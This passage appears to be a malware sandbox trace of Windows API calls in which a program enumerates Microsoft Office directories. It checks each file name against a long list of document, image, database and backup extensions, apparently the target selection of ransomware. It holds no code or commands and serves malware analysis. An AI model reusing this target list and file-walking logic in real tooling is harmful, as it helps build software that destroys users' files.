cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0052.093] FindClose (in: hFindFile=0x3ef2308 | out: hFindFile=0x3ef2308) returned 1 [0052.093] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4005bf0 | out: hHeap=0x510000) returned 1 [0052.093] FindNextFileW (in: hFindFile=0x3ef2208, lpFindFileData=0x33ff58c | out: lpFindFileData=0x33ff58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x61d191f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x7bb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0052.094] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*", lpFindFileData=0x33ff310 | out: lpFindFileData=0x33ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef2308 [0052.094] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x33ff310 | out: lpFindFileData=0x33ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.094] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x33ff310 | out: lpFindFileData=0x33ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Analysis", cAlternateFileName="")) returned 1 [0052.094] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef21c8 [0052.100] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.100] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x3bb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANALYS32.XLL", cAlternateFileName="")) returned 1 [0052.100] FindClose (in: hFindFile=0x3ef21c8 | out: hFindFile=0x3ef21c8) returned 1 [0052.103] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f33b98 | out: hHeap=0x510000) returned 1 [0052.103] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x33ff310 | out: lpFindFileData=0x33ff310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x62688, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0052.103] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef21c8 [0052.103] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.104] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x6c340, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER.XLAM", cAlternateFileName="SOLVER~1.XLA")) returned 1 [0052.104] FindClose (in: hFindFile=0x3ef21c8 | out: hFindFile=0x3ef21c8) returned 1 [0052.104] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f33b98 | out: hHeap=0x510000) returned 1 [0052.104] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x33ff310 | out: lpFindFileData=0x33ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0052.104] FindClose (in: hFindFile=0x3ef2308 | out: hFindFile=0x3ef2308) returned 1 [0052.104] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f23b90 | out: hHeap=0x510000) returned 1 [0052.104] FindNextFileW (in: hFindFile=0x3ef2208, lpFindFileData=0x33ff58c | out: lpFindFileData=0x33ff58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5dfae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xfafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGELEMS.DLL", cAlternateFileName="")) returned 1 [0052.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", lpFindFileData=0x33ff310 | out: lpFindFileData=0x33ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef2308 [0052.728] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x33ff310 | out: lpFindFileData=0x33ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.728] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x33ff310 | out: lpFindFileData=0x33ff310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x5ebdaad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPLAUSE.WAV", cAlternateFileName="")) returned 1 [0052.737] lstrlenW (lpString="APPLAUSE.WAV") returned 12 [0052.755] lstrlenW (lpString=".1cd") returned 4 [0052.755] lstrcmpiW (lpString1=".1cd", lpString2=".WAV") returned -1 [0052.755] lstrlenW (lpString=".3ds") returned 4 [0052.755] lstrcmpiW (lpString1=".3ds", lpString2=".WAV") returned -1 [0052.755] lstrlenW (lpString=".3fr") returned 4 [0052.755] lstrcmpiW (lpString1=".3fr", lpString2=".WAV") returned -1 [0052.755] lstrlenW (lpString=".3g2") returned 4 [0052.755] lstrcmpiW (lpString1=".3g2", lpString2=".WAV") returned -1 [0052.755] lstrlenW (lpString=".3gp") returned 4 [0052.755] lstrcmpiW (lpString1=".3gp", lpString2=".WAV") returned -1 [0052.755] lstrlenW (lpString=".7z") returned 3 [0052.755] lstrcmpiW (lpString1=".7z", lpString2="WAV") returned -1 [0052.756] lstrlenW (lpString=".accda") returned 6 [0052.756] lstrcmpiW (lpString1=".accda", lpString2="SE.WAV") returned -1 [0052.756] lstrlenW (lpString=".accdb") returned 6 [0052.756] lstrcmpiW (lpString1=".accdb", lpString2="SE.WAV") returned -1 [0052.756] lstrlenW (lpString=".accdc") returned 6 [0052.756] lstrcmpiW (lpString1=".accdc", lpString2="SE.WAV") returned -1 [0052.756] lstrlenW (lpString=".accde") returned 6 [0052.756] lstrcmpiW (lpString1=".accde", lpString2="SE.WAV") returned -1 [0052.756] lstrlenW (lpString=".accdt") returned 6 [0052.756] lstrcmpiW (lpString1=".accdt", lpString2="SE.WAV") returned -1 [0052.756] lstrlenW (lpString=".accdw") returned 6 [0052.756] lstrcmpiW (lpString1=".accdw", lpString2="SE.WAV") returned -1 [0052.756] lstrlenW (lpString=".adb") returned 4 [0052.756] lstrcmpiW (lpString1=".adb", lpString2=".WAV") returned -1 [0052.756] lstrlenW (lpString=".adp") returned 4 [0052.756] lstrcmpiW (lpString1=".adp", lpString2=".WAV") returned -1 [0052.756] lstrlenW (lpString=".ai") returned 3 [0052.756] lstrcmpiW (lpString1=".ai", lpString2="WAV") returned -1 [0052.756] lstrlenW (lpString=".ai3") returned 4 [0052.756] lstrcmpiW (lpString1=".ai3", lpString2=".WAV") returned -1 [0052.756] lstrlenW (lpString=".ai4") returned 4 [0052.756] lstrcmpiW (lpString1=".ai4", lpString2=".WAV") returned -1 [0052.756] lstrlenW (lpString=".ai5") returned 4 [0052.756] lstrcmpiW (lpString1=".ai5", lpString2=".WAV") returned -1 [0052.756] lstrlenW (lpString=".ai6") returned 4 [0052.756] lstrcmpiW (lpString1=".ai6", lpString2=".WAV") returned -1 [0052.756] lstrlenW (lpString=".ai7") returned 4 [0052.756] lstrcmpiW (lpString1=".ai7", lpString2=".WAV") returned -1 [0052.756] lstrlenW (lpString=".ai8") returned 4 [0052.756] lstrcmpiW (lpString1=".ai8", lpString2=".WAV") returned -1 [0052.756] lstrlenW (lpString=".anim") returned 5 [0052.756] lstrcmpiW (lpString1=".anim", lpString2="E.WAV") returned -1 [0052.756] lstrlenW (lpString=".arw") returned 4 [0052.756] lstrcmpiW (lpString1=".arw", lpString2=".WAV") returned -1 [0052.757] lstrlenW (lpString=".as") returned 3 [0052.757] lstrcmpiW (lpString1=".as", lpString2="WAV") returned -1 [0052.757] lstrlenW (lpString=".asa") returned 4 [0052.757] lstrcmpiW (lpString1=".asa", lpString2=".WAV") returned -1 [0052.757] lstrlenW (lpString=".asc") returned 4 [0052.757] lstrcmpiW (lpString1=".asc", lpString2=".WAV") returned -1 [0052.757] lstrlenW (lpString=".ascx") returned 5 [0052.757] lstrcmpiW (lpString1=".ascx", lpString2="E.WAV") returned -1 [0052.757] lstrlenW (lpString=".asm") returned 4 [0052.757] lstrcmpiW (lpString1=".asm", lpString2=".WAV") returned -1 [0052.757] lstrlenW (lpString=".asmx") returned 5 [0052.757] lstrcmpiW (lpString1=".asmx", lpString2="E.WAV") returned -1 [0052.757] lstrlenW (lpString=".asp") returned 4 [0052.757] lstrcmpiW (lpString1=".asp", lpString2=".WAV") returned -1 [0052.757] lstrlenW (lpString=".aspx") returned 5 [0052.757] lstrcmpiW (lpString1=".aspx", lpString2="E.WAV") returned -1 [0052.757] lstrlenW (lpString=".asr") returned 4 [0052.757] lstrcmpiW (lpString1=".asr", lpString2=".WAV") returned -1 [0052.757] lstrlenW (lpString=".asx") returned 4 [0052.757] lstrcmpiW (lpString1=".asx", lpString2=".WAV") returned -1 [0052.757] lstrlenW (lpString=".avi") returned 4 [0052.757] lstrcmpiW (lpString1=".avi", lpString2=".WAV") returned -1 [0052.757] lstrlenW (lpString=".avs") returned 4 [0052.757] lstrcmpiW (lpString1=".avs", lpString2=".WAV") returned -1 [0052.757] lstrlenW (lpString=".backup") returned 7 [0052.757] lstrcmpiW (lpString1=".backup", lpString2="USE.WAV") returned -1 [0052.757] lstrlenW (lpString=".bak") returned 4 [0052.757] lstrcmpiW (lpString1=".bak", lpString2=".WAV") returned -1 [0052.757] lstrlenW (lpString=".bay") returned 4 [0052.757] lstrcmpiW (lpString1=".bay", lpString2=".WAV") returned -1 [0052.757] lstrlenW (lpString=".bd") returned 3 [0052.757] lstrcmpiW (lpString1=".bd", lpString2="WAV") returned -1 [0052.757] lstrlenW (lpString=".bin") returned 4 [0052.758] lstrcmpiW (lpString1=".bin", lpString2=".WAV") returned -1 [0052.758] lstrlenW (lpString=".bmp") returned 4 [0052.758] lstrcmpiW (lpString1=".bmp", lpString2=".WAV") returned -1 [0052.758] lstrlenW (lpString=".bz2") returned 4 [0052.758] lstrcmpiW (lpString1=".bz2", lpString2=".WAV") returned -1 [0052.758] lstrlenW (lpString=".c") returned 2 [0052.758] lstrcmpiW (lpString1=".c", lpString2="AV") returned -1 [0052.758] lstrlenW (lpString=".cdr") returned 4 [0052.758] lstrcmpiW (lpString1=".cdr", lpString2=".WAV") returned -1 [0052.758] lstrlenW (lpString=".cer") returned 4 [0052.758] lstrcmpiW (lpString1=".cer", lpString2=".WAV") returned -1 [0052.758] lstrlenW (lpString=".cf") returned 3 [0052.758] lstrcmpiW (lpString1=".cf", lpString2="WAV") returned -1 [0052.758] lstrlenW (lpString=".cfc") returned 4 [0052.758] lstrcmpiW (lpString1=".cfc", lpString2=".WAV") returned -1 [0052.758] lstrlenW (lpString=".cfm") returned 4 [0052.758] lstrcmpiW (lpString1=".cfm", lpString2=".WAV") returned -1 [0052.758] lstrlenW (lpString=".cfml") returned 5 [0052.758] lstrcmpiW (lpString1=".cfml", lpString2="E.WAV") returned -1 [0052.758] lstrlenW (lpString=".cfu") returned 4 [0052.758] lstrcmpiW (lpString1=".cfu", lpString2=".WAV") returned -1 [0052.758] lstrlenW (lpString=".chm") returned 4 [0052.758] lstrcmpiW (lpString1=".chm", lpString2=".WAV") returned -1 [0052.758] lstrlenW (lpString=".cin") returned 4 [0052.758] lstrcmpiW (lpString1=".cin", lpString2=".WAV") returned -1 [0052.758] lstrlenW (lpString=".class") returned 6 [0052.758] lstrcmpiW (lpString1=".class", lpString2="SE.WAV") returned -1 [0052.758] lstrlenW (lpString=".clx") returned 4 [0052.758] lstrcmpiW (lpString1=".clx", lpString2=".WAV") returned -1 [0052.758] lstrlenW (lpString=".config") returned 7 [0052.758] lstrcmpiW (lpString1=".config", lpString2="USE.WAV") returned -1 [0052.759] lstrlenW (lpString=".cpp") returned 4 [0052.759] lstrcmpiW (lpString1=".cpp", lpString2=".WAV") returned -1 [0052.759] lstrlenW (lpString=".cr2") returned 4 [0052.759] lstrcmpiW (lpString1=".cr2", lpString2=".WAV") returned -1 [0052.759] lstrlenW (lpString=".crt") returned 4 [0052.759] lstrcmpiW (lpString1=".crt", lpString2=".WAV") returned -1 [0052.759] lstrlenW (lpString=".crw") returned 4 [0052.759] lstrcmpiW (lpString1=".crw", lpString2=".WAV") returned -1 [0052.759] lstrlenW (lpString=".cs") returned 3 [0052.759] lstrcmpiW (lpString1=".cs", lpString2="WAV") returned -1 [0052.759] lstrlenW (lpString=".css") returned 4 [0052.759] lstrcmpiW (lpString1=".css", lpString2=".WAV") returned -1 [0052.759] lstrlenW (lpString=".csv") returned 4 [0052.759] lstrcmpiW (lpString1=".csv", lpString2=".WAV") returned -1 [0052.759] lstrlenW (lpString=".cub") returned 4 [0052.759] lstrcmpiW (lpString1=".cub", lpString2=".WAV") returned -1 [0052.759] lstrlenW (lpString=".dae") returned 4 [0052.759] lstrcmpiW (lpString1=".dae", lpString2=".WAV") returned -1 [0052.759] lstrlenW (lpString=".dat") returned 4 [0052.759] lstrcmpiW (lpString1=".dat", lpString2=".WAV") returned -1 [0052.759] lstrlenW (lpString=".db") returned 3 [0052.759] lstrcmpiW (lpString1=".db", lpString2="WAV") returned -1 [0052.759] lstrlenW (lpString=".dbf") returned 4 [0052.759] lstrcmpiW (lpString1=".dbf", lpString2=".WAV") returned -1 [0052.759] lstrlenW (lpString=".dbx") returned 4 [0052.759] lstrcmpiW (lpString1=".dbx", lpString2=".WAV") returned -1 [0052.759] lstrlenW (lpString=".dc3") returned 4 [0052.759] lstrcmpiW (lpString1=".dc3", lpString2=".WAV") returned -1 [0052.759] lstrlenW (lpString=".dcm") returned 4 [0052.759] lstrcmpiW (lpString1=".dcm", lpString2=".WAV") returned -1 [0052.759] lstrlenW (lpString=".dcr") returned 4 [0052.760] lstrcmpiW (lpString1=".dcr", lpString2=".WAV") returned -1 [0052.760] lstrlenW (lpString=".der") returned 4 [0052.760] lstrcmpiW (lpString1=".der", lpString2=".WAV") returned -1 [0052.760] lstrlenW (lpString=".dib") returned 4 [0052.760] lstrcmpiW (lpString1=".dib", lpString2=".WAV") returned -1 [0052.760] lstrlenW (lpString=".dic") returned 4 [0052.760] lstrcmpiW (lpString1=".dic", lpString2=".WAV") returned -1 [0052.760] lstrlenW (lpString=".dif") returned 4 [0052.760] lstrcmpiW (lpString1=".dif", lpString2=".WAV") returned -1 [0052.760] lstrlenW (lpString=".divx") returned 5 [0052.760] lstrcmpiW (lpString1=".divx", lpString2="E.WAV") returned -1 [0052.760] lstrlenW (lpString=".djvu") returned 5 [0052.760] lstrcmpiW (lpString1=".djvu", lpString2="E.WAV") returned -1 [0052.760] lstrlenW (lpString=".dng") returned 4 [0052.760] lstrcmpiW (lpString1=".dng", lpString2=".WAV") returned -1 [0052.760] lstrlenW (lpString=".doc") returned 4 [0052.760] lstrcmpiW (lpString1=".doc", lpString2=".WAV") returned -1 [0052.760] lstrlenW (lpString=".docm") returned 5 [0052.760] lstrcmpiW (lpString1=".docm", lpString2="E.WAV") returned -1 [0052.760] lstrlenW (lpString=".docx") returned 5 [0052.760] lstrcmpiW (lpString1=".docx", lpString2="E.WAV") returned -1 [0052.760] lstrlenW (lpString=".dot") returned 4 [0052.760] lstrcmpiW (lpString1=".dot", lpString2=".WAV") returned -1 [0052.760] lstrlenW (lpString=".dotm") returned 5 [0052.760] lstrcmpiW (lpString1=".dotm", lpString2="E.WAV") returned -1 [0052.760] lstrlenW (lpString=".dotx") returned 5 [0052.761] lstrcmpiW (lpString1=".dotx", lpString2="E.WAV") returned -1 [0052.761] lstrlenW (lpString=".dpx") returned 4 [0052.761] lstrcmpiW (lpString1=".dpx", lpString2=".WAV") returned -1 [0052.761] lstrlenW (lpString=".dqy") returned 4 [0052.761] lstrcmpiW (lpString1=".dqy", lpString2=".WAV") returned -1 [0052.761] lstrlenW (lpString=".dsn") returned 4 [0052.761] lstrcmpiW (lpString1=".dsn", lpString2=".WAV") returned -1 [0052.761] lstrlenW (lpString=".dt") returned 3 [0052.761] lstrcmpiW (lpString1=".dt", lpString2="WAV") returned -1 [0052.761] lstrlenW (lpString=".dtd") returned 4 [0052.761] lstrcmpiW (lpString1=".dtd", lpString2=".WAV") returned -1 [0052.761] lstrlenW (lpString=".dwg") returned 4 [0052.761] lstrcmpiW (lpString1=".dwg", lpString2=".WAV") returned -1 [0052.761] lstrlenW (lpString=".dwt") returned 4 [0052.761] lstrcmpiW (lpString1=".dwt", lpString2=".WAV") returned -1 [0052.761] lstrlenW (lpString=".dx") returned 3 [0052.761] lstrcmpiW (lpString1=".dx", lpString2="WAV") returned -1 [0052.761] lstrlenW (lpString=".dxf") returned 4 [0052.761] lstrcmpiW (lpString1=".dxf", lpString2=".WAV") returned -1 [0052.761] lstrlenW (lpString=".edml") returned 5 [0052.761] lstrcmpiW (lpString1=".edml", lpString2="E.WAV") returned -1 [0052.761] lstrlenW (lpString=".efd") returned 4 [0052.761] lstrcmpiW (lpString1=".efd", lpString2=".WAV") returned -1 [0052.761] lstrlenW (lpString=".elf") returned 4 [0052.761] lstrcmpiW (lpString1=".elf", lpString2=".WAV") returned -1 [0052.761] lstrlenW (lpString=".emf") returned 4 [0052.761] lstrcmpiW (lpString1=".emf", lpString2=".WAV") returned -1 [0052.761] lstrlenW (lpString=".emz") returned 4 [0052.761] lstrcmpiW (lpString1=".emz", lpString2=".WAV") returned -1 [0052.761] lstrlenW (lpString=".epf") returned 4 [0052.761] lstrcmpiW (lpString1=".epf", lpString2=".WAV") returned -1 [0052.761] lstrlenW (lpString=".eps") returned 4 [0052.762] lstrcmpiW (lpString1=".eps", lpString2=".WAV") returned -1 [0052.762] lstrlenW (lpString=".epsf") returned 5 [0052.762] lstrcmpiW (lpString1=".epsf", lpString2="E.WAV") returned -1 [0052.762] lstrlenW (lpString=".epsp") returned 5 [0052.762] lstrcmpiW (lpString1=".epsp", lpString2="E.WAV") returned -1 [0052.762] lstrlenW (lpString=".erf") returned 4 [0052.762] lstrcmpiW (lpString1=".erf", lpString2=".WAV") returned -1 [0052.762] lstrlenW (lpString=".exr") returned 4 [0052.762] lstrcmpiW (lpString1=".exr", lpString2=".WAV") returned -1 [0052.762] lstrlenW (lpString=".f4v") returned 4 [0052.762] lstrcmpiW (lpString1=".f4v", lpString2=".WAV") returned -1 [0052.762] lstrlenW (lpString=".fido") returned 5 [0052.762] lstrcmpiW (lpString1=".fido", lpString2="E.WAV") returned -1 [0052.762] lstrlenW (lpString=".flm") returned 4 [0052.762] lstrcmpiW (lpString1=".flm", lpString2=".WAV") returned -1 [0052.762] lstrlenW (lpString=".flv") returned 4 [0052.762] lstrcmpiW (lpString1=".flv", lpString2=".WAV") returned -1 [0052.762] lstrlenW (lpString=".frm") returned 4 [0052.762] lstrcmpiW (lpString1=".frm", lpString2=".WAV") returned -1 [0052.762] lstrlenW (lpString=".fxg") returned 4 [0052.762] lstrcmpiW (lpString1=".fxg", lpString2=".WAV") returned -1 [0052.762] lstrlenW (lpString=".geo") returned 4 [0052.762] lstrcmpiW (lpString1=".geo", lpString2=".WAV") returned -1 [0052.762] lstrlenW (lpString=".gif") returned 4 [0052.762] lstrcmpiW (lpString1=".gif", lpString2=".WAV") returned -1 [0052.762] lstrlenW (lpString=".grs") returned 4 [0052.762] lstrcmpiW (lpString1=".grs", lpString2=".WAV") returned -1 [0052.762] lstrlenW (lpString=".gz") returned 3 [0052.762] lstrcmpiW (lpString1=".gz", lpString2="WAV") returned -1 [0052.762] lstrlenW (lpString=".h") returned 2 [0052.762] lstrcmpiW (lpString1=".h", lpString2="AV") returned -1 [0052.763] lstrlenW (lpString=".hdr") returned 4 [0052.763] lstrcmpiW (lpString1=".hdr", lpString2=".WAV") returned -1 [0052.763] lstrlenW (lpString=".hpp") returned 4 [0052.763] lstrcmpiW (lpString1=".hpp", lpString2=".WAV") returned -1 [0052.763] lstrlenW (lpString=".hta") returned 4 [0052.763] lstrcmpiW (lpString1=".hta", lpString2=".WAV") returned -1 [0052.763] lstrlenW (lpString=".htc") returned 4 [0052.763] lstrcmpiW (lpString1=".htc", lpString2=".WAV") returned -1 [0052.763] lstrlenW (lpString=".htm") returned 4 [0052.763] lstrcmpiW (lpString1=".htm", lpString2=".WAV") returned -1 [0052.763] lstrlenW (lpString=".html") returned 5 [0052.763] lstrcmpiW (lpString1=".html", lpString2="E.WAV") returned -1 [0052.763] lstrlenW (lpString=".icb") returned 4 [0052.763] lstrcmpiW (lpString1=".icb", lpString2=".WAV") returned -1 [0052.763] lstrlenW (lpString=".ics") returned 4 [0052.763] lstrcmpiW (lpString1=".ics", lpString2=".WAV") returned -1 [0052.763] lstrlenW (lpString=".iff") returned 4 [0052.763] lstrcmpiW (lpString1=".iff", lpString2=".WAV") returned -1 [0052.763] lstrlenW (lpString=".inc") returned 4 [0052.763] lstrcmpiW (lpString1=".inc", lpString2=".WAV") returned -1 [0052.763] lstrlenW (lpString=".indd") returned 5 [0052.763] lstrcmpiW (lpString1=".indd", lpString2="E.WAV") returned -1 [0052.763] lstrlenW (lpString=".ini") returned 4 [0052.763] lstrcmpiW (lpString1=".ini", lpString2=".WAV") returned -1 [0052.763] lstrlenW (lpString=".iqy") returned 4 [0052.763] lstrcmpiW (lpString1=".iqy", lpString2=".WAV") returned -1 [0052.763] lstrlenW (lpString=".j2c") returned 4 [0052.763] lstrcmpiW (lpString1=".j2c", lpString2=".WAV") returned -1 [0052.763] lstrlenW (lpString=".j2k") returned 4 [0052.763] lstrcmpiW (lpString1=".j2k", lpString2=".WAV") returned -1 [0052.763] lstrlenW (lpString=".java") returned 5 [0052.763] lstrcmpiW (lpString1=".java", lpString2="E.WAV") returned -1 [0052.764] lstrlenW (lpString=".jp2") returned 4 [0052.764] lstrcmpiW (lpString1=".jp2", lpString2=".WAV") returned -1 [0052.764] lstrlenW (lpString=".jpc") returned 4 [0052.764] lstrcmpiW (lpString1=".jpc", lpString2=".WAV") returned -1 [0052.764] lstrlenW (lpString=".jpe") returned 4 [0052.764] lstrcmpiW (lpString1=".jpe", lpString2=".WAV") returned -1 [0052.764] lstrlenW (lpString=".jpeg") returned 5 [0052.764] lstrcmpiW (lpString1=".jpeg", lpString2="E.WAV") returned -1 [0052.764] lstrlenW (lpString=".jpf") returned 4 [0052.764] lstrcmpiW (lpString1=".jpf", lpString2=".WAV") returned -1 [0052.764] lstrlenW (lpString=".jpg") returned 4 [0052.764] lstrcmpiW (lpString1=".jpg", lpString2=".WAV") returned -1 [0052.764] lstrlenW (lpString=".jpx") returned 4 [0052.764] lstrcmpiW (lpString1=".jpx", lpString2=".WAV") returned -1 [0052.764] lstrlenW (lpString=".js") returned 3 [0052.764] lstrcmpiW (lpString1=".js", lpString2="WAV") returned -1 [0052.764] lstrlenW (lpString=".jsf") returned 4 [0052.764] lstrcmpiW (lpString1=".jsf", lpString2=".WAV") returned -1 [0052.764] lstrlenW (lpString=".json") returned 5 [0052.764] lstrcmpiW (lpString1=".json", lpString2="E.WAV") returned -1 